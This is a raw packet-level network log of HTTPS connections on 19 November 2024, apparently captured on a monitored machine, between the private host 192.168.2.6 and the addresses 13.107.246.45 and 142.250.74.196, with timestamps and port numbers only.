Nov 19, 2024 01:01:26.579574108 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.580004930 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.580066919 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.586430073 CET	49775	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.586452007 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.586504936 CET	49775	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.586757898 CET	49775	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.586771965 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.587306976 CET	49776	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.587336063 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.587387085 CET	49776	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.588457108 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.588469028 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.588481903 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.588488102 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.590173006 CET	49776	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.590186119 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.605005980 CET	49777	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.605046988 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.605101109 CET	49777	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.608680010 CET	49777	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.608695030 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.836986065 CET	443	49766	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.837522984 CET	49766	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.837537050 CET	443	49766	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.838246107 CET	49766	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.838249922 CET	443	49766	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.991364002 CET	443	49766	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.991509914 CET	443	49766	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.991564989 CET	49766	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.991799116 CET	49766	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.991811991 CET	443	49766	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.995515108 CET	49780	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.995544910 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.995640993 CET	49780	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.995812893 CET	49780	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.995826006 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.123480082 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.123703957 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.123713017 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.125349998 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.125421047 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.126410007 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.126498938 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.126535892 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.171331882 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.174806118 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.174815893 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.222311974 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.266519070 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.266772985 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.266792059 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.267653942 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.267720938 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.268269062 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.268330097 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.268362045 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.271672964 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.271975040 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.271985054 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.273400068 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.273459911 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.273739100 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.273813963 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.273834944 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.315330029 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.316082001 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.316090107 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.316131115 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.316139936 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.332664967 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.334758997 CET	49774	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.334774017 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.335803986 CET	49774	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.335809946 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.347445965 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.347968102 CET	49776	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.347991943 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.348392010 CET	49776	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.348397970 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.362936020 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.363001108 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.374881983 CET	443	49773	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.375111103 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.375127077 CET	443	49773	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.378583908 CET	443	49773	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.378639936 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.379039049 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.379097939 CET	443	49773	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.384437084 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.384830952 CET	49775	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.384845018 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.385258913 CET	49775	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.385262966 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.403693914 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.425429106 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.425435066 CET	443	49773	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.456762075 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.456780910 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.457890987 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.458043098 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.458204031 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.472296000 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.480771065 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.480860949 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.481010914 CET	49774	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.481170893 CET	49774	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.481170893 CET	49774	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.481190920 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.481204033 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.485024929 CET	49781	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.485057116 CET	443	49781	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.485177040 CET	49781	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.485285997 CET	49781	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.485296965 CET	443	49781	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.485833883 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.486084938 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.486135960 CET	49776	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.486191034 CET	49776	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.486206055 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.486231089 CET	49776	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.486236095 CET	443	49776	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.488739967 CET	49782	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.488763094 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.488816023 CET	49782	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.489379883 CET	49782	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.489389896 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.529994011 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.530145884 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.530445099 CET	49775	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.530539036 CET	49775	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.530550003 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.530561924 CET	49775	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.530565977 CET	443	49775	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.533150911 CET	49783	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.533189058 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.533294916 CET	49783	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.533469915 CET	49783	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.533483982 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.557126045 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.557188988 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.557215929 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.557291031 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.557317019 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.557445049 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.557486057 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.557508945 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.557519913 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.557553053 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.557574987 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.564883947 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.565108061 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.565119028 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.574531078 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.575201035 CET	49777	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.575220108 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.575637102 CET	49777	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.575643063 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.612940073 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.612950087 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.612981081 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.612993956 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.614615917 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.614666939 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.614808083 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.659888029 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.676739931 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.676825047 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.676927090 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.676959991 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.676986933 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.677004099 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.677026033 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.680797100 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.680911064 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.680921078 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.689779043 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.689830065 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.689841032 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.698364973 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.698857069 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.698868036 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.707110882 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.707166910 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.707178116 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.712924957 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.713114023 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.713210106 CET	49777	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.713294029 CET	49777	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.713294029 CET	49777	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.713315964 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.713326931 CET	443	49777	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.716099024 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.716161966 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.716172934 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.717098951 CET	49784	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.717134953 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.717258930 CET	49784	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.717466116 CET	49784	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.717480898 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.724503040 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.724590063 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.724601984 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.734142065 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.734194040 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.734206915 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.757874012 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.758650064 CET	49780	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.758661985 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.759181023 CET	49780	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.759185076 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.784637928 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.784650087 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.797128916 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.797168016 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.797188044 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.797199965 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.797312021 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.797333956 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.797694921 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.797734976 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.797794104 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.797806025 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.797926903 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.798367977 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.798616886 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.798679113 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.798688889 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.802310944 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.802432060 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.802582979 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.802604914 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.805927038 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.807596922 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.813585043 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.813615084 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.814071894 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.814081907 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.814141035 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.819531918 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.825633049 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.825694084 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.825707912 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.831641912 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.831824064 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.831851006 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.831861973 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.831949949 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.837874889 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.843879938 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.843924999 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.843955994 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.843966961 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.844216108 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.849955082 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.856009007 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.856153965 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.856159925 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.856168985 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.856223106 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.862252951 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.868233919 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.868261099 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.868302107 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.868311882 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.868635893 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.874248028 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.880377054 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.880417109 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.880465031 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.880476952 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.880522013 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.886620998 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.899617910 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.899689913 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.899908066 CET	49780	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.899936914 CET	49780	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.899945021 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.899955034 CET	49780	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.899960041 CET	443	49780	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.902848005 CET	49785	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.902921915 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.903064966 CET	49785	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.903248072 CET	49785	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:27.903283119 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:27.917032957 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917067051 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917145967 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917151928 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.917161942 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917208910 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.917373896 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917459965 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.917503119 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917596102 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917614937 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917639017 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917661905 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.917670965 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.917716026 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.918435097 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.918517113 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.921149969 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.926002026 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.926027060 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.926052094 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.926062107 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.926321983 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.929349899 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.932621956 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.932646036 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.932686090 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.932698011 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.933064938 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.935864925 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.939086914 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.939130068 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.939166069 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.939178944 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.939481020 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.942513943 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.947144985 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.947166920 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.947199106 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.947202921 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.947216034 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.947267056 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.949042082 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.949126959 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.949136972 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.952081919 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.952162981 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.952172995 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.952750921 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:27.952795029 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:27.952862024 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:28.249845982 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.250479937 CET	49782	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.250494003 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.251041889 CET	49782	443	192.168.2.6	13.107.246.45
